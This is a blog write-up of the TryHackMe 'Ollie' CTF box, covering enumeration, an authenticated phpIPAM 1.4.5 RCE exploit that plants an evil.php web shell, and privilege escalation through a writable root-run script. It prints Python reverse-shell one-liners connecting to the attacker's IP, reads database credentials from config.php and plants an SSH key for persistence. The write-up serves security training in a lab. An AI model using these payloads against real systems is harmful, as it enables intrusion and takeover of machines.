CTF : Ollie

CTF Ollie writeup. Source THM. Announced difficulty level: Medium

Posted by Boula-Bytes on 11 July 2022

CTF : Ollie

Informations

  • IP: 10.10.71.102
  • MYIP: 10.9.85.5

First enumeration

Basics

  • NMAP
console
sudo nmap -p22,80,1337 -A 10.10.71.102 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-11 00:19 CEST Nmap scan report for 10.10.71.102 Host is up (0.048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b7:1b:a8:f8:8c:8a:4a:53:55:c0:2e:89:01:f2:56:69 (RSA) | 256 4e:27:43:b6:f4:54:f9:18:d0:38:da:cd:76:9b:85:48 (ECDSA) |_ 256 14:82:ca:bb:04:e5:01:83:9c:d6:54:e9:d1:fa:c4:82 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/ /immaolllieeboyyy | http-title: Ollie :: login |_Requested resource was http://10.10.71.102/index.php?page=login |_http-server-header: Apache/2.4.41 (Ubuntu) 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP, GenericLines: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, | It's been a while. What are you here for? | DNSVersionBindReqTCP: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, | version | bind | It's been a while. What are you here for? | GetRequest: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, Get / http/1.0 | It's been a while. What are you here for? | HTTPOptions: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, Options / http/1.0 | It's been a while. What are you here for? | Help: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, Help | It's been a while. What are you here for? | NULL, RPCCheck: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? | RTSPRequest: | Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. | What is your name? What's up, Options / rtsp/1.0 |_ It's been a while. What are you here for? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.92%I=7%D=7/11%Time=62CB5095%P=x86_64-pc-linux-gnu%r(NU SF:LL,59,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\ SF:x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20 SF:")%r(GenericLines,93,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protector\x2 SF:0of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20you SF:r\x20name\?\x20What's\x20up,\x20\r\n\r!\x20It's\x20been\x20a\x20while\. SF:\x20What\x20are\x20you\x20here\x20for\?\x20")%r(GetRequest,A1,"Hey\x20s SF:tranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\ SF:x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x SF:20Get\x20/\x20http/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\ SF:x20are\x20you\x20here\x20for\?\x20")%r(HTTPOptions,A5,"Hey\x20stranger, SF:\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\ SF:x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x20Option SF:s\x20/\x20http/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\x20a SF:re\x20you\x20here\x20for\?\x20")%r(RTSPRequest,A5,"Hey\x20stranger,\x20 SF:I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20a SF:ntlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x20Options\x2 SF:0/\x20rtsp/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x SF:20you\x20here\x20for\?\x20")%r(RPCCheck,59,"Hey\x20stranger,\x20I'm\x20 SF:Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\ SF:.\n\nWhat\x20is\x20your\x20name\?\x20")%r(DNSVersionBindReqTCP,B0,"Hey\ SF:x20stranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x2 SF:0of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20u SF:p,\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\x10\0 SF:\x03!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x20you\x20here\x20 SF:for\?\x20")%r(DNSStatusRequestTCP,9E,"Hey\x20stranger,\x20I'm\x20Ollie, SF:\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nW SF:hat\x20is\x20your\x20name\?\x20What's\x20up,\x20\0\x0c\0\0\x10\0\0\0\0\ SF:0\0\0\0\0!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x20you\x20her SF:e\x20for\?\x20")%r(Help,95,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protec SF:tor\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\ SF:x20your\x20name\?\x20What's\x20up,\x20Help\r!\x20It's\x20been\x20a\x20w SF:hile\.\x20What\x20are\x20you\x20here\x20for\?\x20"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 36.73 ms 10.9.0.1 2 37.28 ms 10.10.71.102 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 167.98 seconds

Vulnerabilities search

I first tried to discuss with Ollie on port 1337 :

console
$ nc 10.10.71.102 1337 Hey stranger, I'm Ollie, protector of panels, lover of deer antlers. What is your name? Ollie What's up, Ollie! It's been a while. What are you here for? pwn Ya' know what? Ollie. If you can answer a question about me, I might have something for you. What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie... Please hold on a minute Ok, I'm back. After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel. Username: admin Password: xxxxxxxxxxxxx PS: Good luck and next time bring some treats!

Ok Ollie seems a cool dude :) .

Let's try his hint on http://10.10.71.102 :)

It works !

Now we got credentials for phpIPAM v1.4.5 let's see if this version is exploitable :

console
$ searchsploit phpipam ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- PHPIPAM 1.1.010 - Multiple Vulnerabilities | php/webapps/39171.txt PHPIPAM 1.2.1 - Multiple Vulnerabilities | php/webapps/40338.txt phpIPAM 1.4 - SQL Injection | php/webapps/47438.py PHPIPAM 1.4.4 - SQLi (Authenticated) | php/webapps/50684.py phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated) | php/webapps/50963.py ------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results

It seems so :)

Exploit

console
python3 50963.py -url http://10.10.71.102 -usr admin -pwd xxxxxxxxxxxxxx -cmd 'id' [...] Trying to log in as admin [+] Login successful! [...] Exploiting [+] Success! The shell is located at http://10.10.71.102/evil.php. Parameter: cmd [+] Output: 1 uid=33(www-data) gid=33(www-data) groups=33(www-data) 3 4

We can use http://10.10.71.102/evil.php?cmd=<cmd> to run another command.

console
$pwncat -lp 1234"

Then I sent this command as cmd argument :

shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.85.5",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege escalation

Enumeration for privesc

First of all I checked the config.php file :

php
$db['host'] = 'localhost'; $db['user'] = 'phpipam_ollie'; $db['pass'] = 'xxxxxxxxxxxxxxxxxxxxxxxx'; $db['name'] = 'phpipam'; $db['port'] = 3306;

I tried this one to su ollie user but in fact the first on ollie gave to us was the good one...

I copied my ssh pub key to /home/ollie/.ssh/authorized_keys. Now I can use ssh to connect into the box.

In the process list I found :

root 1337 0.0 0.3 8248 7080 ? Ss 22:06 0:00 python3 -u olliebot.py

But nothing...

I found this file :

console
$find / -type f -writable 2>/dev/null [...] /usr/bin/feedme [...] $ cat /usr/bin/feedme #!/bin/bash # This is weird?

Huuuum weird it is :)

Exploit

I added this command into the file :

shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.85.5",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Open a pwncat :

console
$ pwncat -lp 1235

And I waited for a minute :)

console
# id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt

\o/